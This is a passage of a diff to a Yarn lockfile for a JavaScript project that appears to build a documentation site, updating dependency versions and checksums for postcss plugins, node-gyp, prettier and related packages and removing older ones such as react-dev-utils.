10c0/5d3218dbd7db48b572925ddac05162a7415bf81b321f1a0c07016ec643cb5720c8a836ae68d45f5de826097a3013b601706c9c5aacb7f610dc2041b271de2ce0 + checksum: 10c0/76f9e471784d52435ea766ce576ad23d37d0ea51c32ddc56414c8fdf14f7de44202dbc772cdf7549b7e54a5e56f569af93cfbd036d62d13ff8fd9571e53353b7 languageName: node linkType: hard @@ -9063,7 +9306,7 @@ __metadata: languageName: node linkType: hard -"minimatch@npm:3.1.2, minimatch@npm:^3.0.4, minimatch@npm:^3.0.5, minimatch@npm:^3.1.1": +"minimatch@npm:3.1.2": version: 3.1.2 resolution: "minimatch@npm:3.1.2" dependencies: @@ -9155,21 +9398,12 @@ __metadata: languageName: node linkType: hard -"minizlib@npm:^3.0.1": - version: 3.0.2 - resolution: "minizlib@npm:3.0.2" +"minizlib@npm:^3.0.1, minizlib@npm:^3.1.0": + version: 3.1.0 + resolution: "minizlib@npm:3.1.0" dependencies: minipass: "npm:^7.1.2" - checksum: 10c0/9f3bd35e41d40d02469cb30470c55ccc21cae0db40e08d1d0b1dff01cc8cc89a6f78e9c5d2b7c844e485ec0a8abc2238111213fdc5b2038e6d1012eacf316f78 - languageName: node - linkType: hard - -"mkdirp@npm:^3.0.1": - version: 3.0.1 - resolution: "mkdirp@npm:3.0.1" - bin: - mkdirp: dist/cjs/src/bin.js - checksum: 10c0/9f2b975e9246351f5e3a40dcfac99fcd0baa31fbfab615fe059fb11e51f10e4803c63de1f384c54d656e4db31d000e4767e9ef076a22e12a641357602e31d57d + checksum: 10c0/5aad75ab0090b8266069c9aabe582c021ae53eb33c6c691054a13a45db3b4f91a7fb1bd79151e6b4e9e9a86727b522527c0a06ec7d45206b745d54cd3097bcec languageName: node linkType: hard @@ -9206,7 +9440,7 @@ __metadata: languageName: node linkType: hard -"nanoid@npm:^3.3.8": +"nanoid@npm:^3.3.11": version: 3.3.11 resolution: "nanoid@npm:3.3.11" bin: @@ -9273,8 +9507,8 @@ __metadata: linkType: hard "node-gyp@npm:latest": - version: 11.2.0 - resolution: "node-gyp@npm:11.2.0" + version: 11.5.0 + resolution: "node-gyp@npm:11.5.0" dependencies: env-paths: "npm:^2.2.0" exponential-backoff: "npm:^3.1.1" @@ -9288,14 +9522,14 @@ __metadata: which: "npm:^5.0.0" bin: node-gyp: bin/node-gyp.js - checksum: 10c0/bd8d8c76b06be761239b0c8680f655f6a6e90b48e44d43415b11c16f7e8c15be346fba0cbf71588c7cdfb52c419d928a7d3db353afc1d952d19756237d8f10b9 + checksum: 10c0/31ff49586991b38287bb15c3d529dd689cfc32f992eed9e6997b9d712d5d21fe818a8b1bbfe3b76a7e33765c20210c5713212f4aa329306a615b87d8a786da3a languageName: node linkType: hard -"node-releases@npm:^2.0.19": - version: 2.0.19 - resolution: "node-releases@npm:2.0.19" - checksum: 10c0/52a0dbd25ccf545892670d1551690fe0facb6a471e15f2cfa1b20142a5b255b3aa254af5f59d6ecb69c2bec7390bc643c43aa63b13bf5e64b6075952e716b1aa +"node-releases@npm:^2.0.21": + version: 2.0.25 + resolution: "node-releases@npm:2.0.25" + checksum: 10c0/d4aeb1e04578d96e54d6c40540122e6240671b971887f04aca07b6805752a78de1f1c1522f3fa3843706bf8acf6de2cb35f104914957f269e328b41a9fa9fd2f languageName: node linkType: hard @@ -9325,9 +9559,9 @@ __metadata: linkType: hard "normalize-url@npm:^8.0.0": - version: 8.0.1 - resolution: "normalize-url@npm:8.0.1" - checksum: 10c0/eb439231c4b84430f187530e6fdac605c5048ef4ec556447a10c00a91fc69b52d8d8298d9d608e68d3e0f7dc2d812d3455edf425e0f215993667c3183bcab1ef + version: 8.1.0 + resolution: "normalize-url@npm:8.1.0" + checksum: 10c0/e9b68db5f0264ce74fc083e2120b4a40fb3248e5dceec5f795bddcee0311b3613f858c9a65f258614fac2776b8e9957023bea8fe7299db1496b3cd1c75976cfe languageName: node linkType: hard @@ -9410,7 +9644,7 @@ __metadata: languageName: node linkType: hard -"on-finished@npm:2.4.1": +"on-finished@npm:2.4.1, on-finished@npm:^2.4.1": version: 2.4.1 resolution: "on-finished@npm:2.4.1" dependencies: @@ -9419,19 +9653,10 @@ __metadata: languageName: node linkType: hard -"on-headers@npm:~1.0.2": - version: 1.0.2 - resolution: "on-headers@npm:1.0.2" - checksum: 10c0/f649e65c197bf31505a4c0444875db0258e198292f34b884d73c2f751e91792ef96bb5cf89aa0f4fecc2e4dc662461dda606b1274b0e564f539cae5d2f5fc32f - languageName: node - linkType: hard - -"once@npm:^1.3.0": - version: 1.4.0 - resolution: "once@npm:1.4.0" - dependencies: - wrappy: "npm:1" - checksum: 10c0/5d48aca287dfefabd756621c5dfce5c91a549a93e9fdb7b8246bc4c4790aa2ec17b34a260530474635147aeb631a2dcc8b32c613df0675f96041cbb8244517d0 +"on-headers@npm:~1.1.0": + version: 1.1.0 + resolution: "on-headers@npm:1.1.0" + checksum: 10c0/2c3b6b0d68ec9adbd561dc2d61c9b14da8ac03d8a2f0fd9e97bdf0600c887d5d97f664ff3be6876cf40cda6e3c587d73a4745e10b426ac50c7664fc5a0dfc0a1 languageName: node linkType: hard @@ -9444,7 +9669,19 @@ __metadata: languageName: node linkType: hard -"open@npm:^8.0.9, open@npm:^8.4.0": +"open@npm:^10.0.3": + version: 10.2.0 + resolution: "open@npm:10.2.0" + dependencies: + default-browser: "npm:^5.2.1" + define-lazy-prop: "npm:^3.0.0" + is-inside-container: "npm:^1.0.0" + wsl-utils: "npm:^0.1.0" + checksum: 10c0/5a36d0c1fd2f74ce553beb427ca8b8494b623fc22c6132d0c1688f246a375e24584ea0b44c67133d9ab774fa69be8e12fbe1ff12504b1142bd960fb09671948f + languageName: node + linkType: hard + +"open@npm:^8.4.0": version: 8.4.2 resolution: "open@npm:8.4.2" dependencies: @@ -9471,21 +9708,10 @@ __metadata: languageName: node linkType: hard -"p-limit@npm:^2.0.0": - version: 2.3.0 - resolution: "p-limit@npm:2.3.0" - dependencies: - p-try: "npm:^2.0.0" - checksum: 10c0/8da01ac53efe6a627080fafc127c873da40c18d87b3f5d5492d465bb85ec7207e153948df6b9cbaeb130be70152f874229b8242ee2be84c0794082510af97f12 - languageName: node - linkType: hard - -"p-limit@npm:^3.0.2": - version: 3.1.0 - resolution: "p-limit@npm:3.1.0" - dependencies: - yocto-queue: "npm:^0.1.0" - checksum: 10c0/9db675949dbdc9c3763c89e748d0ef8bdad0afbb24d49ceaf4c46c02c77d30db4e0652ed36d0a0a7a95154335fab810d95c86153105bb73b3a90448e2bb14e1a +"p-finally@npm:^1.0.0": + version: 1.0.0 + resolution: "p-finally@npm:1.0.0" + checksum: 10c0/6b8552339a71fe7bd424d01d8451eea92d379a711fc62f6b2fe64cad8a472c7259a236c9a22b4733abca0b5666ad503cb497792a0478c5af31ded793d00937e7 languageName: node linkType: hard @@ -9498,24 +9724,6 @@ __metadata: languageName: node linkType: hard -"p-locate@npm:^3.0.0": - version: 3.0.0 - resolution: "p-locate@npm:3.0.0" - dependencies: - p-limit: "npm:^2.0.0" - checksum: 10c0/7b7f06f718f19e989ce6280ed4396fb3c34dabdee0df948376483032f9d5ec22fdf7077ec942143a75827bb85b11da72016497fc10dac1106c837ed593969ee8 - languageName: node - linkType: hard - -"p-locate@npm:^5.0.0": - version: 5.0.0 - resolution: "p-locate@npm:5.0.0" - dependencies: - p-limit: "npm:^3.0.2" - checksum: 10c0/2290d627ab7903b8b70d11d384fee714b797f6040d9278932754a6860845c4d3190603a0772a663c8cb5a7b21d1b16acb3a6487ebcafa9773094edc3dfe6009a - languageName: node - linkType: hard - "p-locate@npm:^6.0.0": version: 6.0.0 resolution: "p-locate@npm:6.0.0" @@ -9541,20 +9749,33 @@ __metadata: languageName: node linkType: hard -"p-retry@npm:^4.5.0": - version: 4.6.2 - resolution: "p-retry@npm:4.6.2" +"p-queue@npm:^6.6.2": + version: 6.6.2 + resolution: "p-queue@npm:6.6.2" + dependencies: + eventemitter3: "npm:^4.0.4" + p-timeout: "npm:^3.2.0" + checksum: 10c0/5739ecf5806bbeadf8e463793d5e3004d08bb3f6177bd1a44a005da8fd81bb90f80e4633e1fb6f1dfd35ee663a5c0229abe26aebb36f547ad5a858347c7b0d3e + languageName: node + linkType: hard + +"p-retry@npm:^6.2.0": + version: 6.2.1 + resolution: "p-retry@npm:6.2.1" dependencies: - "@types/retry": "npm:0.12.0" + "@types/retry": "npm:0.12.2" + is-network-error: "npm:^1.0.0" retry: "npm:^0.13.1" - checksum: 10c0/d58512f120f1590cfedb4c2e0c42cb3fa66f3cea8a4646632fcb834c56055bb7a6f138aa57b20cc236fb207c9d694e362e0b5c2b14d9b062f67e8925580c73b0 + checksum: 10c0/10d014900107da2c7071ad60fffe4951675f09930b7a91681643ea224ae05649c05001d9e78436d902fe8b116d520dd1f60e72e091de097e2640979d56f3fb60 languageName: node linkType: hard -"p-try@npm:^2.0.0": - version: 2.2.0 - resolution: "p-try@npm:2.2.0" - checksum: 10c0/c36c19907734c904b16994e6535b02c36c2224d433e01a2f1ab777237f4d86e6289fd5fd464850491e940379d4606ed850c03e0f9ab600b0ebddb511312e177f +"p-timeout@npm:^3.2.0": + version: 3.2.0 + resolution: "p-timeout@npm:3.2.0" + dependencies: + p-finally: "npm:^1.0.0" + checksum: 10c0/524b393711a6ba8e1d48137c5924749f29c93d70b671e6db761afa784726572ca06149c715632da8f70c090073afb2af1c05730303f915604fd38ee207b70a61 languageName: node linkType: hard @@ -9611,7 +9832,7 @@ __metadata: languageName: node linkType: hard -"parse-json@npm:^5.0.0, parse-json@npm:^5.2.0": +"parse-json@npm:^5.2.0": version: 5.2.0 resolution: "parse-json@npm:5.2.0" dependencies: @@ -9666,20 +9887,6 @@ __metadata: languageName: node linkType: hard -"path-exists@npm:^3.0.0": - version: 3.0.0 - resolution: "path-exists@npm:3.0.0" - checksum: 10c0/17d6a5664bc0a11d48e2b2127d28a0e58822c6740bde30403f08013da599182289c56518bec89407e3f31d3c2b6b296a4220bc3f867f0911fee6952208b04167 - languageName: node - linkType: hard - -"path-exists@npm:^4.0.0": - version: 4.0.0 - resolution: "path-exists@npm:4.0.0" - checksum: 10c0/8c0bd3f5238188197dc78dced15207a4716c51cc4e3624c44fc97acf69558f5ebb9a2afff486fe1b4ee148e0c133e96c5e11a9aa5c48a3006e3467da070e5e1b - languageName: node - linkType: hard - "path-exists@npm:^5.0.0": version: 5.0.0 resolution: "path-exists@npm:5.0.0" @@ -9687,13 +9894,6 @@ __metadata: languageName: node linkType: hard -"path-is-absolute@npm:^1.0.0": - version: 1.0.1 - resolution: "path-is-absolute@npm:1.0.1" - checksum: 10c0/127da03c82172a2a50099cddbf02510c1791fc2cc5f7713ddb613a56838db1e8168b121a920079d052e0936c23005562059756d653b7c544c53185efe53be078 - languageName: node - linkType: hard - "path-is-inside@npm:1.0.2": version: 1.0.2 resolution: "path-is-inside@npm:1.0.2" @@ -9769,10 +9969,10 @@ __metadata: languageName: node linkType: hard -"picomatch@npm:^4.0.2": - version: 4.0.2 - resolution: "picomatch@npm:4.0.2" - checksum: 10c0/7c51f3ad2bb42c776f49ebf964c644958158be30d0a510efd5a395e8d49cb5acfed5b82c0c5b365523ce18e6ab85013c9ebe574f60305892ec3fa8eee8304ccc +"picomatch@npm:^4.0.3": + version: 4.0.3 + resolution: "picomatch@npm:4.0.3" + checksum: 10c0/9582c951e95eebee5434f59e426cddd228a7b97a0161a375aed4be244bd3fe8e3a31b846808ea14ef2c8a2527a6eeab7b3946a67d5979e81694654f939473ae2 languageName: node linkType: hard @@ -9785,15 +9985,6 @@ __metadata: languageName: node linkType: hard -"pkg-up@npm:^3.1.0": - version: 3.1.0 - resolution: "pkg-up@npm:3.1.0" - dependencies: - find-up: "npm:^3.0.0" - checksum: 10c0/ecb60e1f8e1f611c0bdf1a0b6a474d6dfb51185567dc6f29cdef37c8d480ecba5362e006606bb290519bbb6f49526c403fabea93c3090c20368d98bb90c999ab - languageName: node - linkType: hard - "postcss-attribute-case-insensitive@npm:^7.0.1": version: 7.0.1 resolution: "postcss-attribute-case-insensitive@npm:7.0.1" @@ -9828,18 +10019,18 @@ __metadata: languageName: node linkType: hard -"postcss-color-functional-notation@npm:^7.0.9": - version: 7.0.9 - resolution: "postcss-color-functional-notation@npm:7.0.9" +"postcss-color-functional-notation@npm:^7.0.12": + version: 7.0.12 + resolution: "postcss-color-functional-notation@npm:7.0.12" dependencies: - "@csstools/css-color-parser": "npm:^3.0.9" - "@csstools/css-parser-algorithms": "npm:^3.0.4" - "@csstools/css-tokenizer": "npm:^3.0.3" - "@csstools/postcss-progressive-custom-properties": "npm:^4.0.1" + "@csstools/css-color-parser": "npm:^3.1.0" + "@csstools/css-parser-algorithms": "npm:^3.0.5" + "@csstools/css-tokenizer": "npm:^3.0.4" + "@csstools/postcss-progressive-custom-properties": "npm:^4.2.1" "@csstools/utilities": "npm:^2.0.0" peerDependencies: postcss: ^8.4 - checksum: 10c0/62ffe51ec200df8e01daca3f45b2e05e7e509b57bfe50c880490878aff9bc63ed36cc92db42f0274a21f21330acd8fb1dff6529f7e3a202d100ea74914cf4cfd + checksum: 10c0/dc80ba1a956ae9b396596bda72d9bdb92de96874378a38ba4e2177ffa35339dc76d894920bb013b6f10c9b75cfb41778e09956a438c2e9ea41b684f766c55f4a languageName: node linkType: hard @@ -9893,46 +10084,46 @@ __metadata: languageName: node linkType: hard -"postcss-custom-media@npm:^11.0.5": - version: 11.0.5 - resolution: "postcss-custom-media@npm:11.0.5" +"postcss-custom-media@npm:^11.0.6": + version: 11.0.6 + resolution: "postcss-custom-media@npm:11.0.6" dependencies: - "@csstools/cascade-layer-name-parser": "npm:^2.0.4" - "@csstools/css-parser-algorithms": "npm:^3.0.4" - "@csstools/css-tokenizer": "npm:^3.0.3" - "@csstools/media-query-list-parser": "npm:^4.0.2" + "@csstools/cascade-layer-name-parser": "npm:^2.0.5" + "@csstools/css-parser-algorithms": "npm:^3.0.5" + "@csstools/css-tokenizer": "npm:^3.0.4" + "@csstools/media-query-list-parser": "npm:^4.0.3" peerDependencies: postcss: ^8.4 - checksum: 10c0/5ba1ca0383818e83d5f6f398a2b0c12cfda066b5d552adfc0e030a2c5f8690c2cc6224f9a1832a9c780dae3fd8d00d78c4a5c88eb36b731da1752f0c3917d488 + checksum: 10c0/62dcb2858fd490d90aab32062621d58892a7b2a54948ee63af81a2cd61807a11815d28d4ef6bc800c5e142ac73098f7e56822c7cc63192eb20d5b16071543a73 languageName: node linkType: hard -"postcss-custom-properties@npm:^14.0.4": - version: 14.0.4 - resolution: "postcss-custom-properties@npm:14.0.4" +"postcss-custom-properties@npm:^14.0.6": + version: 14.0.6 + resolution: "postcss-custom-properties@npm:14.0.6" dependencies: - "@csstools/cascade-layer-name-parser": "npm:^2.0.4" - "@csstools/css-parser-algorithms": "npm:^3.0.4" - "@csstools/css-tokenizer": "npm:^3.0.3" + "@csstools/cascade-layer-name-parser": "npm:^2.0.5" + "@csstools/css-parser-algorithms": "npm:^3.0.5" + "@csstools/css-tokenizer": "npm:^3.0.4" "@csstools/utilities": "npm:^2.0.0" postcss-value-parser: "npm:^4.2.0" peerDependencies: postcss: ^8.4 - checksum: 10c0/5b101ee71289657cc2e5a16f4912009c10441052e2c54bd9e4f3d4d72b652bab56adb662ddaa96881413e375cf9852e2159b3c778d953442ce86efb781c3b2bf + checksum: 10c0/0eeef77bc713551f5cb8fa5982d24da4e854075f3af020f1c94366c47a23a4cc225ebfecc978bdb17f00ee0bdee9d2c784e0d01adc64a447321e408abbe2c83b languageName: node linkType: hard -"postcss-custom-selectors@npm:^8.0.4": - version: 8.0.4 - resolution: "postcss-custom-selectors@npm:8.0.4" +"postcss-custom-selectors@npm:^8.0.5": + version: 8.0.5 + resolution: "postcss-custom-selectors@npm:8.0.5" dependencies: - "@csstools/cascade-layer-name-parser": "npm:^2.0.4" - "@csstools/css-parser-algorithms": "npm:^3.0.4" - "@csstools/css-tokenizer": "npm:^3.0.3" + "@csstools/cascade-layer-name-parser": "npm:^2.0.5" + "@csstools/css-parser-algorithms": "npm:^3.0.5" + "@csstools/css-tokenizer": "npm:^3.0.4" postcss-selector-parser: "npm:^7.0.0" peerDependencies: postcss: ^8.4 - checksum: 10c0/09d494d2580d0a99f57684f79793d03358286c32460b61a84063c33bdde24865771cb1205efe9a8e26a508be24eba4fb93fc7f1e96ba21ca96a5d17fadb24863 + checksum: 10c0/bd8f2f85bbec4bd56ff408cb699d9fe649e2af0db82d5752eee05481ae522f06f5a47950ca22fcb4c8601071c03346df67cf20b0b0bcade32ce58d07ebaf9b32 languageName: node linkType: hard @@ -9994,16 +10185,16 @@ __metadata: languageName: node linkType: hard -"postcss-double-position-gradients@npm:^6.0.1": - version: 6.0.1 - resolution: "postcss-double-position-gradients@npm:6.0.1" +"postcss-double-position-gradients@npm:^6.0.4": + version: 6.0.4 + resolution: "postcss-double-position-gradients@npm:6.0.4" dependencies: - "@csstools/postcss-progressive-custom-properties": "npm:^4.0.1" + "@csstools/postcss-progressive-custom-properties": "npm:^4.2.1" "@csstools/utilities": "npm:^2.0.0" postcss-value-parser: "npm:^4.2.0" peerDependencies: postcss: ^8.4 - checksum: 10c0/4c6cf3f54b2154cd622cdcaea58a7634c2e19bc0c366c73c46a27a3e31aa280c8721ee2b21cdd5cdca3166052cf5881c16bab2836b8896e71578213957021d52 + checksum: 10c0/6dbbe7a3855e84a9319df434e210225f6dfa7262e5959611355f1769c2c9d30d37a19737712f20eac6354876fff4ba556d8d0b12a90c78d8ab97c9a8da534a7c languageName: node linkType: hard @@ -10059,22 +10250,22 @@ __metadata: languageName: node linkType: hard -"postcss-lab-function@npm:^7.0.9": - version: 7.0.9 - resolution: "postcss-lab-function@npm:7.0.9" +"postcss-lab-function@npm:^7.0.12": + version: 7.0.12 + resolution: "postcss-lab-function@npm:7.0.12" dependencies: - "@csstools/css-color-parser": "npm:^3.0.9" - "@csstools/css-parser-algorithms": "npm:^3.0.4" - "@csstools/css-tokenizer": "npm:^3.0.3" - "@csstools/postcss-progressive-custom-properties": "npm:^4.0.1" + "@csstools/css-color-parser": "npm:^3.1.0" + "@csstools/css-parser-algorithms": "npm:^3.0.5" + "@csstools/css-tokenizer": "npm:^3.0.4" + "@csstools/postcss-progressive-custom-properties": "npm:^4.2.1" "@csstools/utilities": "npm:^2.0.0" peerDependencies: postcss: ^8.4 - checksum: 10c0/4180669e7555d474b660d106de5fa1d4a705d693451254123bf56ab6dc1a82e4e175c387868703c14e4637d795d461b5e7f10e74d7b42df55a31f6b52bfa048e + checksum: 10c0/de39b59da3b97c18d055d81fba68993e93253184ed76f103c888273584f868c551d047814dd54445980a1bdc5987e8f8af141383d84ecc641e5a6ee7bd901095 languageName: node linkType: hard -"postcss-loader@npm:^7.3.3": +"postcss-loader@npm:^7.3.4": version: 7.3.4 resolution: "postcss-loader@npm:7.3.4" dependencies: @@ -10229,16 +10420,16 @@ __metadata: languageName: node linkType: hard -"postcss-nesting@npm:^13.0.1": - version: 13.0.1 - resolution: "postcss-nesting@npm:13.0.1" +"postcss-nesting@npm:^13.0.2": + version: 13.0.2 + resolution: "postcss-nesting@npm:13.0.2" dependencies: - "@csstools/selector-resolve-nested": "npm:^3.0.0" + "@csstools/selector-resolve-nested": "npm:^3.1.0" "@csstools/selector-specificity": "npm:^5.0.0" postcss-selector-parser: "npm:^7.0.0" peerDependencies: postcss: ^8.4 - checksum: 10c0/549307c272cdd4cb5105d8fbcd582f15a1cb74e5bba240b05b27f77fe0422730be966699a49a9ad15fd9d1bc551c1edbaefb21a69686a9b131b585dbc9d90ebf + checksum: 10c0/bfa0578b3b686c6374f5a7b2f6ef955cb7e13400de95a919975a982ae43c1e25db37385618f210715ff15393dc7ff8c26c7b156f06b8fb3118a426099cf7f1f2 languageName: node linkType: hard @@ -10392,66 +10583,70 @@ __metadata: languageName: node linkType: hard -"postcss-preset-env@npm:^10.1.0": - version: 10.1.6 - resolution: "postcss-preset-env@npm:10.1.6" +"postcss-preset-env@npm:^10.2.1": + version: 10.4.0 + resolution: "postcss-preset-env@npm:10.4.0" dependencies: - "@csstools/postcss-cascade-layers": "npm:^5.0.1" - "@csstools/postcss-color-function": "npm:^4.0.9" - "@csstools/postcss-color-mix-function": "npm:^3.0.9" - "@csstools/postcss-content-alt-text": "npm:^2.0.5" - "@csstools/postcss-exponential-functions": "npm:^2.0.8" + "@csstools/postcss-alpha-function": "npm:^1.0.1" + "@csstools/postcss-cascade-layers": "npm:^5.0.2" + "@csstools/postcss-color-function": "npm:^4.0.12" + "@csstools/postcss-color-function-display-p3-linear": "npm:^1.0.1" + "@csstools/postcss-color-mix-function": "npm:^3.0.12" + "@csstools/postcss-color-mix-variadic-function-arguments": "npm:^1.0.2" + "@csstools/postcss-content-alt-text": "npm:^2.0.8" + "@csstools/postcss-contrast-color-function": "npm:^2.0.12" + "@csstools/postcss-exponential-functions": "npm:^2.0.9" "@csstools/postcss-font-format-keywords": "npm:^4.0.0" - "@csstools/postcss-gamut-mapping": "npm:^2.0.9" - "@csstools/postcss-gradients-interpolation-method": "npm:^5.0.9" - "@csstools/postcss-hwb-function": "npm:^4.0.9" - "@csstools/postcss-ic-unit": "npm:^4.0.1" + "@csstools/postcss-gamut-mapping": "npm:^2.0.11" + "@csstools/postcss-gradients-interpolation-method": "npm:^5.0.12" + "@csstools/postcss-hwb-function": "npm:^4.0.12" + "@csstools/postcss-ic-unit": "npm:^4.0.4" "@csstools/postcss-initial": "npm:^2.0.1" - "@csstools/postcss-is-pseudo-class": "npm:^5.0.1" - "@csstools/postcss-light-dark-function": "npm:^2.0.8" + "@csstools/postcss-is-pseudo-class": "npm:^5.0.3" + "@csstools/postcss-light-dark-function": "npm:^2.0.11" "@csstools/postcss-logical-float-and-clear": "npm:^3.0.0" "@csstools/postcss-logical-overflow": "npm:^2.0.0" "@csstools/postcss-logical-overscroll-behavior": "npm:^2.0.0" "@csstools/postcss-logical-resize": "npm:^3.0.0" - "@csstools/postcss-logical-viewport-units": "npm:^3.0.3" - "@csstools/postcss-media-minmax": "npm:^2.0.8" - "@csstools/postcss-media-queries-aspect-ratio-number-values": "npm:^3.0.4" + "@csstools/postcss-logical-viewport-units": "npm:^3.0.4" + "@csstools/postcss-media-minmax": "npm:^2.0.9" + "@csstools/postcss-media-queries-aspect-ratio-number-values": "npm:^3.0.5" "@csstools/postcss-nested-calc": "npm:^4.0.0" "@csstools/postcss-normalize-display-values": "npm:^4.0.0" - "@csstools/postcss-oklab-function": "npm:^4.0.9" - "@csstools/postcss-progressive-custom-properties": "npm:^4.0.1" - "@csstools/postcss-random-function": "npm:^2.0.0" - "@csstools/postcss-relative-color-syntax": "npm:^3.0.9" + "@csstools/postcss-oklab-function": "npm:^4.0.12" + "@csstools/postcss-progressive-custom-properties": "npm:^4.2.1" + "@csstools/postcss-random-function": "npm:^2.0.1" + "@csstools/postcss-relative-color-syntax": "npm:^3.0.12" "@csstools/postcss-scope-pseudo-class": "npm:^4.0.1" - "@csstools/postcss-sign-functions": "npm:^1.1.3" - "@csstools/postcss-stepped-value-functions": "npm:^4.0.8" - "@csstools/postcss-text-decoration-shorthand": "npm:^4.0.2" - "@csstools/postcss-trigonometric-functions": "npm:^4.0.8" + "@csstools/postcss-sign-functions": "npm:^1.1.4" + "@csstools/postcss-stepped-value-functions": "npm:^4.0.9" + "@csstools/postcss-text-decoration-shorthand": "npm:^4.0.3" + "@csstools/postcss-trigonometric-functions": "npm:^4.0.9" "@csstools/postcss-unset-value": "npm:^4.0.0" autoprefixer: "npm:^10.4.21" - browserslist: "npm:^4.24.4" + browserslist: "npm:^4.26.0" css-blank-pseudo: "npm:^7.0.1" - css-has-pseudo: "npm:^7.0.2" + css-has-pseudo: "npm:^7.0.3" css-prefers-color-scheme: "npm:^10.0.0" - cssdb: "npm:^8.2.5" + cssdb: "npm:^8.4.2" postcss-attribute-case-insensitive: "npm:^7.0.1" postcss-clamp: "npm:^4.1.0" - postcss-color-functional-notation: "npm:^7.0.9" + postcss-color-functional-notation: "npm:^7.0.12" postcss-color-hex-alpha: "npm:^10.0.0" postcss-color-rebeccapurple: "npm:^10.0.0" - postcss-custom-media: "npm:^11.0.5" - postcss-custom-properties: "npm:^14.0.4" - postcss-custom-selectors: "npm:^8.0.4" + postcss-custom-media: "npm:^11.0.6" + postcss-custom-properties: "npm:^14.0.6" + postcss-custom-selectors: "npm:^8.0.5" postcss-dir-pseudo-class: "npm:^9.0.1" - postcss-double-position-gradients: "npm:^6.0.1" + postcss-double-position-gradients: "npm:^6.0.4" postcss-focus-visible: "npm:^10.0.1" postcss-focus-within: "npm:^9.0.1" postcss-font-variant: "npm:^5.0.0" postcss-gap-properties: "npm:^6.0.0" postcss-image-set-function: "npm:^7.0.0" - postcss-lab-function: "npm:^7.0.9" + postcss-lab-function: "npm:^7.0.12" postcss-logical: "npm:^8.1.0" - postcss-nesting: "npm:^13.0.1" + postcss-nesting: "npm:^13.0.2" postcss-opacity-percentage: "npm:^3.0.0" postcss-overflow-shorthand: "npm:^6.0.0" postcss-page-break: "npm:^3.0.4" @@ -10461,7 +10656,7 @@ __metadata: postcss-selector-not: "npm:^8.0.1" peerDependencies: postcss: ^8.4 - checksum: 10c0/89af9060f3528e254005e6b81e88c57589e6e7f74125b10d50ca8a05f830c9ac206f8197af1b3c4b7ba82d97993118dd121f1a11cfc9fd026e18d01ca6f7ad2d + checksum: 10c0/3c081a66ebde19ae2f915f4eb103b85097085799b43103e5dd1699ed807bd54c80d633c7d4b525badaf21e9d0b217e6ca169ee306e2b720bb70b7414ad375387 languageName: node linkType: hard @@ -10600,23 +10795,23 @@ __metadata: languageName: node linkType: hard -"postcss@npm:^8.4.21, postcss@npm:^8.4.24, postcss@npm:^8.4.26, postcss@npm:^8.4.33, postcss@npm:^8.4.38, postcss@npm:^8.4.41, postcss@npm:^8.5.3": - version: 8.5.3 - resolution: "postcss@npm:8.5.3" +"postcss@npm:^8.4.21, postcss@npm:^8.4.24, postcss@npm:^8.4.33, postcss@npm:^8.4.41, postcss@npm:^8.5.3, postcss@npm:^8.5.4": + version: 8.5.6 + resolution: "postcss@npm:8.5.6" dependencies: - nanoid: "npm:^3.3.8" + nanoid: "npm:^3.3.11" picocolors: "npm:^1.1.1" source-map-js: "npm:^1.2.1" - checksum: 10c0/b75510d7b28c3ab728c8733dd01538314a18c52af426f199a3c9177e63eb08602a3938bfb66b62dc01350b9aed62087eabbf229af97a1659eb8d3513cec823b3 + checksum: 10c0/5127cc7c91ed7a133a1b7318012d8bfa112da9ef092dddf369ae699a1f10ebbd89b1b9f25f3228795b84585c72aabd5ced5fc11f2ba467eedf7b081a66fad024 languageName: node linkType: hard "prettier@npm:^3.5.3": - version: 3.5.3 - resolution: "prettier@npm:3.5.3" + version: 3.6.2 + resolution: "prettier@npm:3.6.2" bin: prettier: bin/prettier.cjs - checksum: 10c0/3880cb90b9dc0635819ab52ff571518c35bd7f15a6e80a2054c05dbc8a3aa6e74f135519e91197de63705bcb38388ded7e7230e2178432a1468005406238b877 + checksum: 10c0/488cb2f2b99ec13da1e50074912870217c11edaddedeadc649b1244c749d15ba94e846423d062e2c4c9ae683e2d65f754de28889ba06e697ac4f988d44f45812 languageName: node linkType: hard @@ -10740,11 +10935,11 @@ __metadata: linkType: hard "pupa@npm:^3.1.0": - version: 3.1.0 - resolution: "pupa@npm:3.1.0" + version: 3.3.0 + resolution: "pupa@npm:3.3.0" dependencies: escape-goat: "npm:^4.0.0" - checksum: 10c0/02afa6e4547a733484206aaa8f8eb3fbfb12d3dd17d7ca4fa1ea390a7da2cb8f381e38868bbf68009c4d372f8f6059f553171b6a712d8f2802c7cd43d513f06c + checksum: 10c0/9707e0a7f00e5922d47527d1c8d88d4224b1e86502da2fca27943eb0e9bb218121c91fa0af6c30531a2ee5ade0c326b5d33c40fdf61bc593c4224027412fd9b7 languageName: node linkType: hard @@ -10764,15 +10959,6 @@ __metadata: languageName: node linkType: hard -"queue@npm:6.0.2": - version: 6.0.2 - resolution: "queue@npm:6.0.2" - dependencies: - inherits: "npm:~2.0.3" - checksum: 10c0/cf987476cc72e7d3aaabe23ccefaab1cd757a2b5e0c8d80b67c9575a6b5e1198807ffd4f0948a3f118b149d1111d810ee773473530b77a5c606673cac2c9c996 - languageName: node - linkType: hard - "quick-lru@npm:^5.1.1": version: 5.1.1 resolution: "quick-lru@npm:5.1.1" @@ -10829,53 +11015,14 @@ __metadata: languageName: node linkType: hard -"react-dev-utils@npm:^12.0.1": - version: 12.0.1 - resolution: "react-dev-utils@npm:12.0.1" - dependencies: - "@babel/code-frame": "npm:^7.16.0" - address: "npm:^1.1.2" - browserslist: "npm:^4.18.1" - chalk: "npm:^4.1.2" - cross-spawn: "npm:^7.0.3" - detect-port-alt: "npm:^1.1.6" - escape-string-regexp: "npm:^4.0.0" - filesize: "npm:^8.0.6" - find-up: "npm:^5.0.0" - fork-ts-checker-webpack-plugin: "npm:^6.5.0" - global-modules: "npm:^2.0.0" - globby: "npm:^11.0.4" - gzip-size: "npm:^6.0.0" - immer: "npm:^9.0.7" - is-root: "npm:^2.1.0" - loader-utils: "npm:^3.2.0" - open: "npm:^8.4.0" - pkg-up: "npm:^3.1.0" - prompts: "npm:^2.4.2" - react-error-overlay: "npm:^6.0.11" - recursive-readdir: "npm:^2.2.2" - shell-quote: "npm:^1.7.3" - strip-ansi: "npm:^6.0.1" - text-table: "npm:^0.2.0" - checksum: 10c0/94bc4ee5014290ca47a025e53ab2205c5dc0299670724d46a0b1bacbdd48904827b5ae410842d0a3a92481509097ae032e4a9dc7ca70db437c726eaba6411e82 - languageName: node - linkType: hard - "react-dom@npm:^19.0.0": - version: 19.1.0 